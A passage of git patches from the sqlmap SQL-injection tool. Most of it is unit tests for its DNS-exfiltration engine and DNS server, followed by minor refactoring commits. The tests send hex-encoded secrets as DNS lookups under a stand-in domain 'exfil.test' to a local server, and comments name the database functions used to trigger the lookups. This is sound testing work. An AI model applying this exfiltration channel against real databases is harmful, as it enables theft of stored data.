dnsmod.hashDBRetrieve = lambda *a, **k: None + dnsmod.hashDBWrite = lambda *a, **k: None + # MSSQL/PostgreSQL build the payload via the stacked-query injection plumbing + # (agent.prefixQuery/agent.payload, needing a full kb.injection). That plumbing is + # generic - not DNS logic - and the mock oracle ignores the payload, so stub it to a + # pass-through; the DNS-specific snippet/substring/chunking still runs for real. + self._saved_prefixQuery, self._saved_payload = agent.prefixQuery, agent.payload + agent.prefixQuery = lambda expression, *a, **k: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue or "" + set_dbms(self.DBMS_NAME) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + conf.dnsServer = self._saved_dnsServer + Connect.queryPage = self._saved_qp + dnsmod.Request.queryPage = self._saved_qp + dnsmod.randomStr = self._saved_randomStr + dnstestmod.randomInt = self._saved_randomInt + dnsmod.hashDBRetrieve, dnsmod.hashDBWrite = self._saved_hdbR, self._saved_hdbW + agent.prefixQuery, agent.payload = self._saved_prefixQuery, self._saved_payload + + def _install_oracle(self, secret, working=True, force=None): + """ + Installs a mock queryPage that plays the DBMS: for each dnsUse iteration it fires a + real UDP DNS query carrying the next hex chunk of L{secret}. working=False models a + dead DNS channel (the DBMS never emits a lookup). force=(prefix, suffix) pins the + random boundary labels (to construct adversarial cases like a domain/suffix collision). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = force[len(boundaries) % 2] if force else real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + dbms = Backend.getIdentifiedDbms() + chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + + def oracle(payload=None, *args, **kwargs): + if not working: + return None + prefix, suffix = boundaries[-2], boundaries[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", DNS_PORT)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(100): + with self.server._lock: + if any(host.encode() in r for r in self.server._requests): + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + def _extract(self, secret): + self._install_oracle(secret) + return dnsmod.dnsUse("%s AND %d=%d", "user()") + + +class TestDnsExfilEngine(_DnsCase): + DBMS_NAME = "MySQL" + + def test_short_value(self): + self.assertEqual(self._extract("luther"), "luther") + + def test_value_spanning_multiple_dns_labels(self): + # > one DNS label -> forces the chunking/offset/reassembly loop (multiple queries) + secret = "The quick brown fox jumps over the lazy dog 0123456789 abcdef" + self.assertEqual(self._extract(secret), secret) + + def test_exact_chunk_boundary(self): + # length exactly one chunk: last-chunk break condition (len < chunk_length) edge + dbms = Backend.getIdentifiedDbms() + cl = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + secret = "A" * cl + self.assertEqual(self._extract(secret), secret) + + def test_special_characters(self): + secret = "p@ss W0rd!#%&" + self.assertEqual(self._extract(secret), secret) + + def test_domain_label_colliding_with_suffix(self): + # adversarial: --dns-domain's leading label equals the random suffix. A greedy + # extraction regex would run past the real boundary into the domain and corrupt the + # value; the (lazy) extraction must still recover it exactly. + conf.dnsDomain = "hhh.exfil.test" # leading label 'hhh' == forced suffix + self._install_oracle("luther", force=("ggg", "hhh")) + self.assertEqual(dnsmod.dnsUse("%s AND %d=%d", "user()"), "luther") + + +class TestDnsExfilEngineOracle(TestDnsExfilEngine): + # Oracle: different dns_request snippet (UTL_INADDR.GET_HOST_ADDRESS, '||' concat) and + # SUBSTRC substring template - re-runs the whole battery through the Oracle dialect. + DBMS_NAME = "Oracle" + + +class TestDnsExfilEnginePostgres(TestDnsExfilEngine): + # PostgreSQL: stacked-query branch (agent.payload), plpgsql COPY dns_request snippet, + # 'SUBSTRING((...)::text FROM x FOR y)' substring template. + DBMS_NAME = "PostgreSQL" + + +class TestDnsExfilEngineMssql(TestDnsExfilEngine): + # MSSQL: stacked-query branch, xp_dirtree dns_request snippet, and crucially a SMALLER + # chunk_length (MAX_DNS_LABEL//4 - 2) - exercises the alternate chunking arithmetic. + DBMS_NAME = "Microsoft SQL Server" + + +class TestDnsLabelInvariant(unittest.TestCase): + """The exfil chunk is hex-encoded into ONE DNS label, so 2*chunk_length must never exceed the + 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label and exfil + silently breaks. Guards the chunk_length arithmetic in dnsUse for every supported DBMS.""" + def test_hex_label_within_max_dns_label(self): + for dbms in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL): + chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + self.assertGreater(chunk_length, 0, "%s: non-positive chunk_length" % dbms) + self.assertLessEqual(2 * chunk_length, MAX_DNS_LABEL, + "%s: hex label (%d) exceeds MAX_DNS_LABEL (%d)" % (dbms, 2 * chunk_length, MAX_DNS_LABEL)) + + +class TestDnsChannelDetection(_DnsCase): + """dnsTest(): probes the channel with a known random integer and disables DNS exfil if + the value doesn't come back (unless --force-dns, which then aborts).""" + DBMS_NAME = "MySQL" + KNOWN = 4815162342 + + def _patch_known_int(self): + dnstestmod.randomInt = lambda *a, **k: self.KNOWN + + def test_detection_success_keeps_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=True) + dnstestmod.dnsTest("%s AND %d=%d") + self.assertTrue(kb.dnsTest) + self.assertEqual(conf.dnsDomain, "exfil.test") # channel kept + + def test_detection_failure_disables_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=False) # dead channel + dnstestmod.dnsTest("%s AND %d=%d") + self.assertFalse(kb.dnsTest) + self.assertIsNone(conf.dnsDomain) # exfil turned off + + def test_detection_failure_with_force_dns_raises(self): + self._patch_known_int() + conf.forceDns = True + self._install_oracle(str(self.KNOWN), working=False) + self.assertRaises(SqlmapNotVulnerableException, dnstestmod.dnsTest, "%s AND %d=%d") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py new file mode 100644 index 00000000000..9e566e3d7fc --- /dev/null +++ b/tests/test_dns_server.py @@ -0,0 +1,291 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS server used for DNS-exfiltration (lib/request/dns.py): raw packet parsing +(DNSQuery), fake A-record response crafting, the pop(prefix, suffix) accounting, and +- importantly - resilience: a single malformed packet or a transient send error must +NOT kill the server thread (which would silently lose all further exfiltration). +""" + +import collections +import os +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) + +from lib.core.settings import MAX_DNS_REQUESTS +from lib.request.dns import DNSQuery, DNSServer + + +def build_query(name, tid=b"\x12\x34", qtype=1): + """Minimal standard (opcode 0) DNS query packet for L{name} (qtype 1=A, 28=AAAA, ...)""" + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + struct.pack(">H", qtype) + b"\x00\x01" + + +class _HighPortDNSServer(DNSServer): + """Real DNSServer logic, bound on a high port (no root, no :53 probe)""" + def __init__(self, port, sock=None, maxlen=MAX_DNS_REQUESTS): + self._requests = collections.deque(maxlen=maxlen) + self._lock = threading.Lock() + if sock is None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("127.0.0.1", port)) + self._socket = sock + self._running = False + self._initialized = False + + +class _SendFailOnceSocket(object): + """Wraps a real UDP socket; first sendto() raises (simulated transient failure)""" + def __init__(self, real): + self._real = real + self._sends = 0 + + def recvfrom(self, *a, **k): + return self._real.recvfrom(*a, **k) + + def sendto(self, *a, **k): + self._sends += 1 + if self._sends == 1: + raise RuntimeError("simulated transient sendto failure") + return self._real.sendto(*a, **k) + + def __getattr__(self, name): + return getattr(self._real, name) + + +class TestDNSQuery(unittest.TestCase): + def test_parses_data_bearing_name(self): + q = DNSQuery(build_query("pre.deadbeef.suf.exfil.test")) + self.assertEqual(q._query, b"pre.deadbeef.suf.exfil.test.") + + def test_empty_and_short_packets_do_not_raise(self): + for raw in (b"", b"\x00", b"\x12", b"\x12\x34", b"\x12\x34\x01\x20"): + self.assertEqual(DNSQuery(raw)._query, b"") # no exception, empty query + + def test_unterminated_name_does_not_raise(self): + # a length byte that runs past the buffer, with no null terminator + pkt = b"\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + b"\x20" + b"abc" + DNSQuery(pkt) # must not raise (slicing past end yields b"", ord guards) + + def test_response_is_valid_A_record(self): + q = DNSQuery(build_query("x.y.z", tid=b"\xab\xcd")) + resp = q.response("127.0.0.1") + self.assertEqual(resp[:2], b"\xab\xcd") # transaction id echoed + self.assertEqual(resp[2:4], b"\x85\x80") # standard response, no error + ip = ".".join(str(b if isinstance(b, int) else ord(b)) for b in resp[-4:]) + self.assertEqual(ip, "127.0.0.1") + + def test_empty_query_yields_empty_response(self): + self.assertEqual(DNSQuery(b"\x00").response("127.0.0.1"), b"") + + +class TestDNSServerRoundTrip(unittest.TestCase): + PORT = 5471 + + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv.run() + while not cls.srv._initialized: + time.sleep(0.02) + + def _send(self, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(build_query(name), ("127.0.0.1", self.PORT)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + for _ in range(100): + with self.srv._lock: + if any(name.encode() in r for r in self.srv._requests): + return True + time.sleep(0.01) + return False + + def test_roundtrip_and_pop(self): + self.assertTrue(self._send("aaa.cafe.bbb.exfil.test")) + self.assertIsNone(self.srv.pop("zzz", "yyy")) # wrong boundaries + self.assertIsNotNone(self.srv.pop("aaa", "bbb")) # correct boundaries + self.assertIsNone(self.srv.pop("aaa", "bbb")) # consumed only once + + def test_non_a_query_type_still_recorded(self): + # a DBMS resolver may emit AAAA (28) / TXT (16) lookups - the exfiltrated name is in the + # labels regardless of qtype, and the server records before crafting the (A) response + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.PORT)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + for _ in range(200): + if self.srv.pop("ggg", "hhh"): + return + time.sleep(0.01) + self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") + + +class TestDNSServerMemoryBound(unittest.TestCase): + """The server records every received query (it listens on :53); only matching ones are + popped. Unrelated/stray traffic and resolver retries must not grow memory without bound.""" + PORT = 5475 + + def test_requests_are_bounded_and_recent_kept(self): + srv = _HighPortDNSServer(self.PORT, maxlen=50) + srv.run() + while not srv._initialized: + time.sleep(0.02) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for i in range(200): # flood well past the bound + c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", self.PORT)) + c.close() + # a legit exfil query right after the flood must still be capturable + c2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); c2.settimeout(2) + c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", self.PORT)) + try: + c2.recvfrom(512) + except socket.timeout: + pass + finally: + c2.close() + popped = None + for _ in range(200): + popped = srv.pop("ppp", "qqq") + if popped: + break + time.sleep(0.01) + with srv._lock: + n = len(srv._requests) + self.assertLessEqual(n, 50, "request buffer exceeded its bound (%d)" % n) + self.assertIsNotNone(popped, "a fresh exfil query was lost after a flood of stray traffic") + + +class TestDNSServerResilience(unittest.TestCase): + def _make(self, port, sock=None): + srv = _HighPortDNSServer(port, sock=sock) + srv.run() + while not srv._initialized: + time.sleep(0.02) + return srv + + def _query(self, port, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(1) + c.sendto(build_query(name), ("127.0.0.1", port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + + def _recorded(self, srv, token, tries=120): + for _ in range(tries): + with srv._lock: + if any(token.encode() in r for r in srv._requests): + return True + time.sleep(0.01) + return False + + def test_survives_transient_send_error(self): + port = 5472 + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind(("127.0.0.1", port)) + srv = self._make(port, sock=_SendFailOnceSocket(s)) + self._query(port, "aaa.11.bbb.exfil.test") # first sendto raises + self._query(port, "ccc.22.ddd.exfil.test") # must still be served + self.assertTrue(self._recorded(srv, "ccc.22.ddd"), + "DNS server died after one failing sendto (lost subsequent exfil)") + self.assertTrue(srv._running) + + def test_survives_malformed_packets(self): + port = 5473 + srv = self._make(port) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for junk in (b"", b"\x00", b"\xff" * 7, b"\x12\x34\x01\x00\x00\x01" + b"\x20abc"): + c.sendto(junk, ("127.0.0.1", port)) + c.close() + self._query(port, "ok.33.fine.exfil.test") + self.assertTrue(self._recorded(srv, "ok.33.fine"), + "DNS server died on a malformed packet") + + +class TestDNSServerConcurrency(unittest.TestCase): + """Under --threads, many workers fire DNS queries and call pop() while the server thread + appends - all guarded by one lock. Each worker must get back exactly its own data.""" + PORT = 5474 + + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv.run() + while not cls.srv._initialized: + time.sleep(0.02) + + def test_concurrent_send_and_pop_no_crosstalk(self): + import binascii, re + N = 12 + errors = [] + + def worker(i): + # distinct boundary labels per worker (DNS boundary alphabet = letters, no a-f/digits) + prefix = "gg" + chr(ord("g") + i) + suffix = "mm" + chr(ord("g") + i) + secret = ("worker-%02d-secret" % i).encode() + host = "%s.%s.%s.exfil.test" % (prefix, binascii.hexlify(secret).decode(), suffix) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + try: + c.sendto(build_query(host), ("127.0.0.1", self.PORT)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + got = None + for _ in range(200): + got = self.srv.pop(prefix, suffix) + if got: + break + time.sleep(0.01) + if not got: + errors.append("worker %d: never popped its query" % i); return + m = re.search(r"%s\.(?P.+?)\.%s" % (prefix, suffix), got, re.I) + if not m or binascii.unhexlify(m.group("r")) != secret: + errors.append("worker %d: cross-talk/corruption got=%r" % (i, got)) + + threads = [threading.Thread(target=worker, args=(i,)) for i in range(N)] + for t in threads: + t.start() + for t in threads: + t.join() + self.assertEqual(errors, [], "concurrency failures: %s" % errors) + # every queued request consumed exactly once -> nothing left behind + self.assertEqual(self.srv.pop("gg" + chr(ord("g")), "mm" + chr(ord("g"))), None) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From a3b857ebae49002ea20cbcfa806df77613ebd20e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 22:55:45 +0200 Subject: [PATCH 592/853] Minor update --- data/txt/sha256sums.txt | 8 ++++---- lib/core/common.py | 12 ++++++++---- lib/core/datatype.py | 2 +- lib/core/settings.py | 2 +- lib/request/comparison.py | 6 +++--- 5 files changed, 17 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6701d079cfb..355b9670175 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,11 +168,11 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py -e55201cbaa05aac7091cccda361963a74635172bdd9d403feeadf400e09a14cf lib/core/common.py +dba8ebb5cfc6a085c6d91aff0135cfbe8716a40cc20cb1c7cfcd50b5a90e64f5 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py +6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -de4f4a95b30c703518a68d96a904bcf908033be8a0d9a03000a2da163f139303 lib/core/settings.py +b1c78a1fbae173f740e783f76cf1fd666cbf5f481c0478e8c1572baf4d885dc4 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py +d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py 05198477dbdeb6c405059eb21cbbcf9cb6804cc54a0f2a1d11741bfc6cbb7ca2 lib/request/dns.py diff --git a/lib/core/common.py b/lib/core/common.py index 981ab3f66fa..cd11f5a4c93 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2532,19 +2532,23 @@ def readCachedFileContent(filename, mode='r'): True """ - if filename not in kb.cache.content: + content = kb.cache.content.get(filename) + + if content is None: with kb.locks.cache: - if filename not in kb.cache.content: + content = kb.cache.content.get(filename) + if content is None: checkFile(filename) try: with openFile(filename, mode) as f: - kb.cache.content[filename] = f.read() + content = f.read() + kb.cache.content[filename] = content except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) - return kb.cache.content[filename] + return content def average(values): """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 15160ae4d9f..e7ed7430bd9 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -151,7 +151,7 @@ def __getitem__(self, key): def get(self, key, default=None): try: return self.__getitem__(key) - except: + except (KeyError, TypeError): return default def __setitem__(self, key, value): diff --git a/lib/core/settings.py b/lib/core/settings.py index 2ef55ebfa00..85ba9324e89 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.136" +VERSION = "1.10.6.137" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 1338e6a218e..1206e6814de 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -213,9 +213,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seqMatcher.set_seq1(repr(seq1)) seqMatcher.set_seq2(repr(seq2)) - if key in kb.cache.comparison: - ratio = kb.cache.comparison[key] - else: + ratio = kb.cache.comparison.get(key) if key else None + + if ratio is None: try: try: ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() From 03b44ed2f196b371a43fc57f1da6ff5405f4986c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:03:42 +0200 Subject: [PATCH 593/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/threads.py | 14 +++++--------- 3 files changed, 8 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 355b9670175..b0b87b228df 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,12 +189,12 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b1c78a1fbae173f740e783f76cf1fd666cbf5f481c0478e8c1572baf4d885dc4 lib/core/settings.py +4ea19be3a4d0846babbb6ba273d0f590d34e9e97a094184f3507c02882a5e389 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py d213562601682fd72603a22f35e5af4e3f41e23bfb143e1584a4fa212a232635 lib/core/testing.py -e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py +95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 85ba9324e89..8b1d9fd235a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.137" +VERSION = "1.10.6.138" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 8d2528ce2cc..96d64685960 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -27,7 +27,6 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS -from lib.core.settings import PYVERSION shared = AttribDict() @@ -93,7 +92,7 @@ def getCurrentThreadName(): Returns current's thread name """ - return threading.current_thread().getName() + return threading.current_thread().name def exceptionHandledFunction(threadFunction, silent=False): try: @@ -107,17 +106,14 @@ def exceptionHandledFunction(threadFunction, silent=False): if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) - logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, errMsg)) if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation - if PYVERSION >= "2.6": - thread.daemon = True - else: - thread.setDaemon(True) + thread.daemon = True def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] @@ -233,7 +229,7 @@ def _threadFunction(): except (SqlmapConnectionException, SqlmapValueException) as ex: print() kb.threadException = True - logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, ex)) if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() @@ -249,7 +245,7 @@ def _threadFunction(): kb.threadException = True errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + logger.error("thread %s: %s" % (threading.current_thread().name, errMsg)) traceback.print_exc() finally: From 9d8c1021f367cd01df3ef398c24d999dc481b821 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:14:28 +0200 Subject: [PATCH 594/853] Fixes CI/CD tests --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_strings.py | 24 ++++++++++++++++++------ 3 files changed, 21 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b0b87b228df..729c5104006 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4ea19be3a4d0846babbb6ba273d0f590d34e9e97a094184f3507c02882a5e389 lib/core/settings.py +82767887306a66ba4b1b2c254068225196f3adb434bfac2929a123c51fdd45f8 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -607,7 +607,7 @@ a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_pro cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -41907c873663401f979b87eaff3efc8d52e0ce96cbe1eef7aa70c6d3af8cd5cf tests/test_strings.py +8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tamper.py b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8b1d9fd235a..070ad183e8c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = 